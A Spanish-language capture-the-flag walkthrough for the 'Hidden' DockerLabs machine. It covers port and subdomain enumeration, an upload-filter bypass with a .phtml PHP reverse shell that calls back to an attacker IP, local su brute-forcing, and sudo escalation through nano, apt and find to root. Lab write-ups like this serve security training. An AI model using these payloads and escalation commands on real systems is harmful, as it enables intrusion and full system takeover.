Hidden DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip hidden.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh hidden.tar
Info:
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 09:06 EDT
Nmap scan report for hidden.lab (172.17.0.2)
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HIDDEN - Tu Tienda de Caf\xC3\xA9s
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: localhost
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
Vemos que hay una pagina web, pero si nos metemos ha ella no carga correctamente, pero vemos un dominio, por lo que lo resolveremos haciendo lo siguiente.
nano /etc/hosts
#Dentro del nano
<IP> hidden.lab
Lo guardamos y si volvemos a cargar la pagina con el dominio, veremos que carga todo correctamente.
URL = http://hidden.lab/
Pero no veremos gran cosa, por lo que fuzzearemos mas profundo.
Gobuster
gobuster dir -u http://hidden.lab/ -w <WORDLIST> -x html,php,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hidden.lab/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/LICENSE.txt (Status: 200) [Size: 1456]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/about.html (Status: 200) [Size: 9703]
/contact.html (Status: 200) [Size: 11680]
/css (Status: 200) [Size: 1133]
/img (Status: 200) [Size: 4245]
/index.html (Status: 200) [Size: 10483]
/js (Status: 200) [Size: 923]
/lib (Status: 200) [Size: 1539]
/mail (Status: 200) [Size: 1370]
/menu.html (Status: 200) [Size: 11846]
/reservation.html (Status: 200) [Size: 11786]
/service.html (Status: 200) [Size: 10926]
/server-status (Status: 403) [Size: 275]
/testimonial.html (Status: 200) [Size: 10335]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Veremos mucha informacion pero poca cosa, ya que utiliza dominios, podemos intentar identificar si tuviera algun subdominio de la siguiente forma.
ffuf (subdominio)
ffuf -c -t 200 -w <WORDLIST> -H "Host: FUZZ.hidden.lab" -u http://hidden.lab/ -fw 18
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://hidden.lab/
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.hidden.lab
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
dev [Status: 200, Size: 1653, Words: 550, Lines: 58, Duration: 0ms]
:: Progress: [20469/20469] :: Job [1/1] :: 188 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
Vemos que encontramos un subdominio
llamado dev
por lo que haremos lo siguiente.
Editaremos el hosts
para añadir ese subdominio
.
nano /etc/hosts
#Dentro del nano
<IP> hidden.lab dev.hidden.lab
Lo guardamos y ahora iremos a la siguiente URL.
URL = http://dev.hidden.lab/
Por lo que vemos hay una pagina en la que te pide que envies un CV, pero veremos a ver si el subir archivos puede ser vulnerado de la siguiente forma.
Reverse Shell
Primero vamos a ver donde se alojan los archivos.
gobuster dir -u http://dev.hidden.lab/ -w <WORDLIST> -x html,php,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.hidden.lab/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt (Status: 403) [Size: 279]
/.htaccess.html (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/.htpasswd.txt (Status: 403) [Size: 279]
/.htpasswd.html (Status: 403) [Size: 279]
/.htaccess.php (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 1653]
/server-status (Status: 403) [Size: 279]
/upload.php (Status: 200) [Size: 74]
/uploads (Status: 200) [Size: 946]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Vemos que se alojan en /uploads
por lo que ahora intentaremos subir un archivo .php
con una reverse shell, solo que nos dice que no se admiten ese tipo de formatos, por lo que haremos el siguiente tipo de extension para que funcione.
nano shell.phtml
#Dentro del nano
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Lo guardamos y ahora se subira como otro tipo de extension para que no lo bloque solo que seguira haciendo caso a la extension de php
para que funcione.
Una vez que lo hayamos subido con la extension de .phtml
iremos a la siguiente URL.
URL = http://dev.hidden.lab/uploads/
Y aqui encontraremos nuestro archivo, por lo que antes de darle estaremos a la escucha.
nc -lvnp <PORT>
Y hecho eso, le daremos al archivo, si volvemos a donde teniamos la escucha obtendremos una shell de www-data
.
Info:
connect to [192.168.5.145] from (UNKNOWN) [172.17.0.2] 53256
whoami
www-data
Sanitizamos la shell (TTY).
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user cafetero
Como no tenemos ssh para hacer fuerza bruta desde fuera, lo haremos desde dentro con el siguiente script.
URL = https://github.com/Maalfer/Sudo_BruteForce/blob/main/Linux-Su-Force.sh
Nos lo copiamos y pegamos en el /tmp
para ejecutarlo desde ahi, tambien copiaremos las 1000 primeras palabras del rockyou.txt
para copiarlo en un .txt
que crearemos dentro de la maquina para utilizarlo.
Copiar el diccionario
head -1000 /usr/share/wordlists/rockyou.txt
Lo pegamos en un archivo dentro de la maquina.
nano /tmp/dic.txt
#Dentro del nano
<PASTE_1000_ROCKYOU.TXT>
Lo guardamos y tambien crearemos otro archivo.
nano script.sh
#Dentro del nano
<PASTE_SCRIPT_SU_FORCE>
Lo guardamos y lo ejecutamos de la siguiente forma, elegiremos a un usuario.
bash script.sh cafetero dic.txt
Info:
Contraseña encontrada para el usuario cafetero: 123123
Vemos las credenciales del usuario cafetero
, por lo que cambiaremos a el.
su cafetero
Metemos la contraseña obtenida y ya seremos el.
Escalate user john
Si hacemos sudo -l
veremos lo siguiente.
Matching Defaults entries for cafetero on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User cafetero may run the following commands on c334669636c3:
(john) NOPASSWD: /usr/bin/nano
Podemos ejecutar como john
el binario nano
por lo que haremos lo siguiente.
URL = https://gtfobins.github.io/gtfobins/nano/#sudo
sudo -u john nano
#Dentro del nano
^R^X #(Esto te habrira una linea de comandos dentro del nano)
reset; sh 1>&0 2>&0
A eso ultimo le damos a ENTER
y se nos habria ejecutado ese comando, por lo que hacemos.
clear
/bin/bash
Y habremos limpiado la terminal que se veia mal y tendremos una shell mejor.
Escalate user bobby
Si hacemos sudo -l
veremos lo siguiente.
Matching Defaults entries for john on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User john may run the following commands on c334669636c3:
(bobby) NOPASSWD: /usr/bin/apt
Por lo que podremos ejecutar como bobby
el binario apt
, por lo que haremos lo siguiente.
URL = https://gtfobins.github.io/gtfobins/apt/#sudo
sudo -u bobby apt changelog apt
Y dentro del entorno del apt
escribimos lo siguiente a mano.
!/bin/bash
Con esto obtendremos la shell del usuario bobby
.
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente.
Matching Defaults entries for bobby on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bobby may run the following commands on c334669636c3:
(root) NOPASSWD: /usr/bin/find
Vemos que podemos ejecutar como root
el binario find
por lo que haremos lo siguiente.
URL = https://gtfobins.github.io/gtfobins/find/#sudo
sudo find . -exec /bin/sh \; -quit
Y despues.
/bin/bash
Por lo que ya seremos root
y habriamos terminado la maquina.
Last updated